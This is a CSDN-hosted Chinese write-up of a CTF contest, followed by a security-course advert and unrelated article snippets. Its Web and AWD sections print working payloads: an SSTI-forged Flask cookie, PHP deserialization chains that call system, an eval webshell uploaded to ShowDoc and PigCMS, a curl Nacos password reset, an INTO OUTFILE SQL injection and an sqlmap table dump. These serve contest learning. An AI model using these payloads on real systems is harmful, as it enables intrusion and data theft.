掌控安全 暖冬杯 CTF Writeup By AheadSec-程序员宅基地

技术标签: 安全  

本来结束时发到了学校AheadSec的群里面了的,觉得这比赛没啥好外发WP的,但是有些师傅来问了,所以还是发一下吧。

文章目录
  • Web
  • * 签到:又一个计算题
    
    • 计算器
    • PHP反序列化
    • 又一个PHP反序列化
  • Misc
  • * 这是邹节伦的桌面背景图
    
    • 什么鬼?这是图片
    • 五颜六色的图片
    • 流量分析
    • 你会解码吗?
    • Cryptography
  • Reverse
  • * xor
    
    • init
  • AWD
  • * 漏洞挖掘--签到题
    
    • 开胃小菜
    • 老day装新酒
    • 小小bypass
    • 有点东西,传什么?
    • 前台
    • 什么注?
    • 夺宝

Web

签到:又一个计算题

![image.png](https://img-
blog.csdnimg.cn/img_convert/2ecfc65f99a765037759cb96170d73ea.png)

计算器

扫目录能看到/admin路径
doCalc的源码报错下面能看到获取了一个username参数
以及 secret_key
![image.png](https://img-
blog.csdnimg.cn/img_convert/5373b16e9646bebf4eb42e88d4b654c2.png)
利用 https://github.com/noraj/flask-session-cookie-manager.git 生成payload

python3 flask_session.py encode -s 7Wt4VH26Pb -t '{"username":"{%print(((lipsum.__globals__.__builtins__.__import__(\"os\").popen(\"cat /root/runtime/flag.py\")).read()))%}"}'

得到

.eJwlykEKAyEMQNGrlMCAbnTfswwEp02HgJoQ46IMc_cK3f0H_4I5yHppBE-4NjXuHkKorGO2hHhWOUodiKuPydW5_8FNxRwx7CBjh5hUlPrSq_gjm4hnm925Uf7Ucib9rikmo_IOMcbthvsH50grQw.ZWWEtw.doCCqKuEePHIGvmlq0LVAUt3aDU

最后可直接获取flag

GET /admin HTTP/1.1
Host: kso7fdtw.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=.eJwlykEKAyEMQNGrlMCAbnTfswwEp02HgJoQ46IMc_cK3f0H_4I5yHppBE-4NjXuHkKorGO2hHhWOUodiKuPydW5_8FNxRwx7CBjh5hUlPrSq_gjm4hnm925Uf7Ucib9rikmo_IOMcbthvsH50grQw.ZWWEtw.doCCqKuEePHIGvmlq0LVAUt3aDU

![image.png](https://img-
blog.csdnimg.cn/img_convert/afda32d1f55a86e53cf0ed89242ea65e.png)

PHP反序列化

<?php
  error_reporting(0);
highlight_file(__FILE__);
class evil{
  public $cmd;
  public $a;
  public function __destruct(){
    if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
      eval($this->cmd.'givemegirlfriend!');
    } else {
      echo 'nonono';
    }
  }
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
  unserialize($_GET['Pochy']);
} else {
  echo 'nonono';
}

exp:

<?php class evil
{
  public $cmd="eval(next(getallheaders()));__halt_compiler();";
  }
  $a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b);




http://ywft1o9f.lab.aqlab.cn/?Pochy=C:8:%22SplStack%22:84:{i:6;:O:4:%22evil%22:1:{s:3:%22cmd%22;s:46:%22eval(next(getallheaders()));__halt_compiler();%22;}}

User-Agent: system('cat flag.php');

又一个PHP反序列化

链子

R::welcome() <- E::__invoke <- K::__call <- C::__get() <- A::__toString() <- H::welcome()

构造POP

<?php 
class A
{
    public $hacker;
    public  function __toString()
    {
        echo $this->hacker->name;
        return "";
    }
}
class C
{
    public $finish;
    public function __get($value)
    {
        $this->finish->hacker();
        echo 'nonono';
    }
}
class E
{
    public $hacker;

    public  function __invoke($parms1)
    {   
        echo $parms1;
        $this->hacker->welcome();
    }
}

class H
{
    public $username="admin";
    public function __destruct()
    {
        $this->welcome();

    }
    public  function welcome()
    {
        echo "welcome~ ".$this->username;
    }
}

class K
{
    public $func;
    public function __call($method,$args)
    {
        call_user_func($this->func,'welcome');
    }
}

class R
{
    public $method;
    public $args;

    public  function welcome()
    {
        if ($this->key === true && $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func_array($this->method,$this->args);
            }
        }
    }
}


$H = new H();
$A = new A();
$C = new C();
$K = new K();
$E = new E();
$R = new R();
$R -> method = 'syssystemtem';
$R -> args = ['cat f*'];
$E -> hacker = $R;
$K -> func = $E;
$K -> func -> hacker -> key = True;
$K -> func -> hacker -> finish1 -> name = True;
$K -> func -> hacker -> finish -> finish = True;
$C -> finish = $K;
$A -> hacker = $C;
$H -> username = $A;
echo serialize($H);


// O:1:"H":1:{s:8:"username";O:1:"A":1:{s:6:"hacker";O:1:"C":1:{s:6:"finish";O:1:"K":1:{s:4:"func";O:1:"E":1:{s:6:"hacker";O:1:"R":5:{s:6:"method";s:12:"syssystemtem";s:4:"args";a:1:{i:0;s:6:"cat f*";}s:3:"key";b:1;s:7:"finish1";O:8:"stdClass":1:{s:4:"name";b:1;}s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}}}}}}
 ?>

双写绕过替换为空,非法传参绕过,并且因为对反序列化字符串有一次替换,原本的长度会有变化,手工修改长度
![image.png](https://img-
blog.csdnimg.cn/img_convert/5b2938f5b6b816f0f57ef1b8790f9423.png)

po[p.er=
O:1:"H":1:{s:8:"username";O:1:"A":1:{s:6:"hacker";O:1:"C":1:{s:6:"finish";O:1:"K":1:{s:4:"func";O:1:"E":1:{s:6:"hacker";O:1:"R":5:{s:6:"method";s:6:"syssystemtem";s:4:"args";a:1:{i:0;s:6:"cat f*";}s:3:"key";b:1;s:7:"finish1";O:8:"stdClass":1:{s:4:"name";b:1;}s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}}}}}}

查看源码即可获得flag
![image.png](https://img-
blog.csdnimg.cn/img_convert/248d9fa5fd23d886fc9ab7809edc83ba.png)

Misc

这是邹节伦的桌面背景图

![image.png](https://img-
blog.csdnimg.cn/img_convert/31059295930676d295d04365612fecc3.png)
压缩包提取出来,指定解压这两张没有加密的图
![image.png](https://img-
blog.csdnimg.cn/img_convert/436b847e0e660ef6417f9a1a9d94cba6.png)
双图盲水印

PS D:\Tools\Misc\BlindWaterMark> python .\bwmforpy3.py decode .\source.png .\result.png flag1.png
image<.\source.png> + image(encoded)<.\result.png> -> watermark<flag1.png>
PS D:\Tools\Misc\BlindWaterMark>

压缩包密码:Ctf-Game-Start
![image.png](https://img-
blog.csdnimg.cn/img_convert/04b48877caf037d0196ebcc512652b2e.png)

ctf{c5364cb0-882f-11ee-b421-000c29a4e4e5}

什么鬼?这是图片

每隔八个字节逆序
![image.png](https://img-
blog.csdnimg.cn/img_convert/c9110b015869e65a879252ae05876e7d.png)
脚本简单处理即可

hexData = ''
with open('resutl.png', 'rb') as f:
	pngData = ""
	hexData = bytes.hex(f.read())
	for i in range(0, len(hexData), 16):
		blockData = hexData[i:i+16][::-1]
		for j in range(0, len(blockData), 2):
			byteData = blockData[j:j+2][::-1]
			pngData += byteData
with open('flag.png', 'wb') as f:
	f.write(bytes.fromhex(pngData))

![image.png](https://img-
blog.csdnimg.cn/img_convert/ce2547a0ecabebd7977766edf4ee1b37.png)
最终flag是CTF包裹

ctf{d77aa664-8834-11ee-a068-000c29a4e4e5}

五颜六色的图片

读RGB转ZIP,脚本简单处理

from PIL import Image

with Image.open('rgb.png') as img:
	width, height = img.size
	hexData = ""
	for h in range(height):
		for w in range(width):
			pix = img.getpixel((w, h))
			for p in pix:
				hexData += '{:02x}'.format(p)
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(hexData))

解压得到flag

ctf{1c7c3eec-8841-11ee-b9bf-000c29a4e4e5}

流量分析

tcp.stream eq 49

![image.png](https://img-
blog.csdnimg.cn/img_convert/09ff6e44fd3a77364863b15027aecf61.png)
解压密码

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('QzovZmxhZyhjdGZfZ2FtZSkuemlw'));"
Command line code:1:
string(21) "C:/flag(ctf_game).zip"



hexData = "504b0304140001000000328875576f42da69350000002900000008000000666c61672e747874f0ffcbadf3f92591d9efa30772829a2c9dfc9e88c4eceac0ab03fa3f25e8aca42a6de2845121b58c6169f1c01b768dfc8bede44c06504b01023f00140001000000328875576f42da693500000029000000080024000000000000002000000000000000666c61672e7478740a002000000000000100180069c39454591cda0100000000000000000000000000000000504b050600000000010001005a0000005b0000000000316263646666353739633436"
with open('flag111.zip', 'wb') as f:
	f.write(bytes.fromhex(hexData))

解压得到flag

ctf{87bb9ae4-884c-11ee-9329-000c29a4e4e5}

你会解码吗?

查看源码
![image.png](https://img-
blog.csdnimg.cn/img_convert/35d4902e451bba322d514a77ac0f1acc.png)
URL解码得到Quoted-printable编码
![image.png](https://img-
blog.csdnimg.cn/img_convert/960ed9112890e07027f7294185c3d199.png)
解码得到社会主义核心价值观编码
![image.png](https://img-
blog.csdnimg.cn/img_convert/d38c72c5dfc5c473fe8d9d40e91a58ab.png)
然后社会主义核心价值观解码得到ASCII
![image.png](https://img-
blog.csdnimg.cn/img_convert/620aa3e760d61c40269b3758a9b71318.png)

>>> ''.join([chr(int(i)) for i in '102,108,97,103,123,74,110,76,88,121,112,71,52,53,95,48,98,105,77,48,51,125'.split(',')])
'flag{JnLXypG45_0biM03}'

Cryptography

参考 : https://blog.csdn.net/qq_47875210/article/details/127576150
然后flag一直交不对
![d36d8d7c132181c3a105e3a7bef5af5.png](https://img-
blog.csdnimg.cn/img_convert/32b8bc33643de731b5867df14879bb36.png)
即可拿到flag

Reverse

xor

加密过程是对上一个字符进行异或
![image.png](https://img-
blog.csdnimg.cn/img_convert/ddbd919b4e5a0d8ca03eca2be6d383b4.png)
exp

enc = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 
  0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 
  0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 
  0x47, 0x32, 0x4F]

flag = ''

for i in range(len(enc)-1, 0, -1):
    enc[i] ^= enc[i-1]
    flag += chr(enc[i])

print('f'+flag[::-1])
# flag{QianQiuWanDai_YiTongJiangHu}

init

使用IDA打开发现异或
![image.png](https://img-
blog.csdnimg.cn/img_convert/d03efa8918231fdd0b370eebf2234d4a.png)
在compara中找到密文
![image.png](https://img-
blog.csdnimg.cn/img_convert/efdbffc8558224d75742ec528e978c2e.png)
exp:

enc = [0x66, 0x6D, 0x63, 0x64, 0x7F, 0x56, 0x69, 0x6A, 0x6D, 
       0x7D, 0x62, 0x62, 0x62, 0x6A, 0x51, 0x7D, 0x65, 0x7F, 0x4D, 
       0x71, 0x71, 0x73, 0x79, 0x65, 0x7D, 0x46, 0x77, 0x7A, 0x75, 0x73, 0x21, 0x62]

for i in range(len(enc)):
    print(chr(enc[i] ^ i), end='')
# flag{Something_run_before_main?}

AWD

漏洞挖掘–签到题

修改nacos密码

 curl  -d "username=nacos1&newPassword=123456"  -X PUT http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users

登录直接拿flag

开胃小菜

Ruoyi 后台 远程加载jar包拿shell
参考 https://github.com/lz2y/yaml-payload-for-ruoyi

老day装新酒

POST /showdoc/index.php?s=/home/page/uploadImg HTTP/1.1
Host: u4py83-eo3.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 268

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php echo '123_test';@eval($_GET[cmd])?>
----------------------------921378126371623762173617--

直接拿shell
![image.png](https://img-
blog.csdnimg.cn/img_convert/80772839ad3a82dc54c5a64302af9b8f.png)

小小bypass

整体思路是任意文件读取+注入拿地址
首先注册个账号
![image.png](https://img-
blog.csdnimg.cn/img_convert/effb3f3366ca38b0fdd295df1db77a12.png)

手机号为
13650955537
密码随便
![image.png](https://img-
blog.csdnimg.cn/img_convert/f60531f555af2521de9d879605077b98.png)

登录之后抓包拿下token
![image.png](https://img-
blog.csdnimg.cn/img_convert/1edcbac79061a6db4d5ac582de1c8ba8.png)

之后在通过SSRF拿到flag,程序后端会将他存到本地,然后将路径存入到数据库中
漏洞点位于application/api/logic/UserLogic.php
![image.png](https://img-
blog.csdnimg.cn/img_convert/bc54ca88b62716c64cf984b4d2e34b32.png)
之后在通过前台的注入拿到flag值
注入点

http://m8o3fug2.lab.aqlab.cn/api/goods_comment/category?goods_id=*

sqlmap直接梭哈可拿到头像图片路径
访问图片路径即可拿到flag

有点东西,传什么?

是个Nday
直接上传webshell

 curl "http://c88f07ac9.lab.aqlab.cn/index.php/upload/ajax_upload_chat?type=image" -F [email protected]

前台

PigCMS
直接穿马 路径会回显

POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa

------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv

<?php phpinfo();?>
------aaa

什么注?

通过堆叠将flag outfile到web路径上 可直接读取

http://bwo330m4vx.lab.aqlab.cn/index.php?s=api/goods_detail&goods_id=1;select load_file('/flag.txt') into outfile '/var/www/localhost/htdocs/xx22211111111.txt';#

夺宝

前台注入拿到后台admin hash+后台缓存getshell
参考 https://mp.weixin.qq.com/s/BAHeQYjp-eVgkkGayM11eQ

然后自己构造一个tamper,跑SQLMap即可

sqlmap --dbms="mysql" -u "http://m8o3fug2.lab.aqlab.cn/api/goods_comment/category?goods_id=*" -D likeshop  -T ls_user --dump

还有宝塔waf 这有点离谱了
但是还好 可以使用readfile函数直接读取flag
靶场关了用下文章的图
![image.png](https://img-
blog.csdnimg.cn/img_convert/792f791a5113310f6e22b55210621603.png)
把那个eval换成readfile('/www/wwwroot/mawd16-20.aqlab.cn/flag.php')即可拿到flag

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Karka_/article/details/136701053

智能推荐

I.MX6 Android 平台CAN总线调试(包含测试C语言代码)_imx6 can-程序员宅基地

文章浏览阅读5.6k次,点赞4次,收藏30次。 I.MX6 Android 平台CAN总线调试(包含测试C语言代码) 前言:这几天需要调试NXP Android平台CAN总线,以前到工作中都没有接触过can总线,折腾了几天,终于通信成功。至于can总线的原理我就不细说了,网上很多,原理很复杂,也比较难懂,我们主要还是学习如何使用就可以了。这里就记录以下在android平台下如何使用can进行通信。一、外围电路CAN总..._imx6 can

青藏高原MODIS逐日无云积雪面积数据集-程序员宅基地

文章浏览阅读732次,点赞24次,收藏15次。在充分考虑青藏高原的地形和山地积雪特征的情况下,本套数据集采用了多种去云过程和步骤相结合,逐步实现保持积雪分类精度的情况下,完成逐日积雪的云量消除,形成了“青藏高原MODIS逐日无云积雪面积”的逐步综合分类算法,完成了“青藏高原MODIS逐日无云积雪面积数据集(2002~2018年)”。结果表明,在高原地区,当积雪深度>3 cm时,无云积雪产品总分类精度达到96.6%,积雪分类精度达89.0%,整个算法流程对MODIS积雪产品去云的精度损失较低,数据可靠性较高。(a)C6.1版MODIS无云积雪结果;

本地CMD命令将webp格式文件批量转换为图片格式(jpg、png、bmp、gif)_cmd命令转换文件格式-程序员宅基地

文章浏览阅读504次。其中,[input_image.webp]是您要转换的输入图像文件的路径和文件名,[output_image.png]是输出文件的路径和文件名。这将在当前目录下生成名为output.png的图像文件。_cmd命令转换文件格式

使用 QGIS 设置GeoServer栅格图层样式_geoserver 图层字体大小更改-程序员宅基地

文章浏览阅读907次,点赞15次,收藏28次。地理空间数据没有内在的可视化功能,必须对其进行样式设置才能在地图上直观地表示。默认情况下,GeoServer 使用称为样式层描述符 (SLD) 的标记语言来定义显示数据的样式规则。SLD 是一种基于 XML 的语言,允许用户和软件控制地理空间数据的视觉描绘。这种语言确保客户端和服务器都可以理解如何直观地呈现数据。添加样式要添加新样式,请导航至数据 > 样式页面,然后单击添加新样式链接。您将被重定向到新的样式页面,该页面与“样式编辑器数据”选项卡相同。_geoserver 图层字体大小更改

Xcode 下载真机包调试_xcode中i真机调试包下载地址-程序员宅基地

文章浏览阅读3.9k次。解决在低版本的Xcode上使用高版本iOS系统手机进行真机测试Xcode 真机包资源下载地址:真机包资源下载地址下载好以后解压,复制到以下路径:/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport重启Xcode后就可以用Xcode真机调试了..._xcode中i真机调试包下载地址

2021 ICPC Southeastern Europe Regional Contest Werewolves(树上背包)-程序员宅基地

文章浏览阅读808次。2021 ICPC Southeastern Europe Regional Contest Werewolves(树上背包)链接题意:给出一个n个节点的树(n≤3000n\le3000n≤3000),每个点有自己的颜色,好子树的定义是,子树内有一半以上的节点是同一种颜色,问有多少种划分子树的方法,最后对998244353998244353998244353取模。思路:dls讲的树上背包。。当时听了也没太明白代码怎么写,现在想想还是对树上背包这种不太熟。我们对于每个颜色,都要在树上进行一次dp,这样就_2021 icpc southeastern europe regional contest

随便推点

虚幻四学习笔记(3)—— 使用BSP画刷创建简单场景_bsp盒体-程序员宅基地

文章浏览阅读1.3k次。使用BSP画刷创建简单场景_bsp盒体

Pandas 时间差(Timedelta)-程序员宅基地

文章浏览阅读6.2k次。时间差(Timedelta)是时间上的差异,以不同的单位来表示。例如:日,小时,分钟,秒。它们可以是正值,也可以是负值。可以使用各种参数创建Timedelta对象,如下所示 -字符串通过传递字符串,可以创建一个timedelta对象。参考以下示例代码 -import pandas as pdtimediff = pd.Timedelta('2 days 2 hours 15 m...

计算机五年计划个人,教师个人五年发展规划-程序员宅基地

文章浏览阅读440次。教师个人五年发展规划(2013年9月——2018年9月)作为中职计算机教师,多年从事计算机专业的教学与管理工作。可随着世界竞争日趋激烈,面临着各种挑战和竞争,不自求发展停滞不前将会跟不上时代的步伐。为了社会的进步,工作的需要,结合学校教师专业发展规划,特制定自己的五年专业发展规划,以指导今后的工作。一、基本情况我是一个非常喜欢从事并热爱教育事业的人,一直将它当作自己的事业用心经营。在参加工作的十多..._教师五年发展规划博客

css基础知识九:说说flexbox(弹性盒布局模型),以及适用场景?-程序员宅基地

文章浏览阅读469次。说说flexbox(弹性盒布局模型),以及适用场景?_flexbox

什么是微服务架构_微服务架构简单说-程序员宅基地

文章浏览阅读192次。微服务介绍1.1 系统架构演变1.1.1 单体应用架构1.1.2 垂直应用架构1.1.3 分布式架构1.1.4 SOA架构1.1.5 微服务架构1.2 微服务架构介绍1.2.1 微服务架构的常见问题1.2.2 微服务架构的常见概念1.2.2.1 服务治理1.2.2.2 服务调用1.2.2.3 服务网关1.2.2.4 服务容错1.2.2.5 链路追踪1.2.3 微服务架构的常见解决方案1.2.3.1 ServiceComb1.2.3.2 SpringCloud1.2.3.3 SpringCloud Aliba_微服务架构简单说

Visual Studio Code怎么停止正在运行的Python脚本?_vscode 停止python运行-程序员宅基地

文章浏览阅读7.9k次,点赞6次,收藏7次。在VS Code中停止运行中的Python。_vscode 停止python运行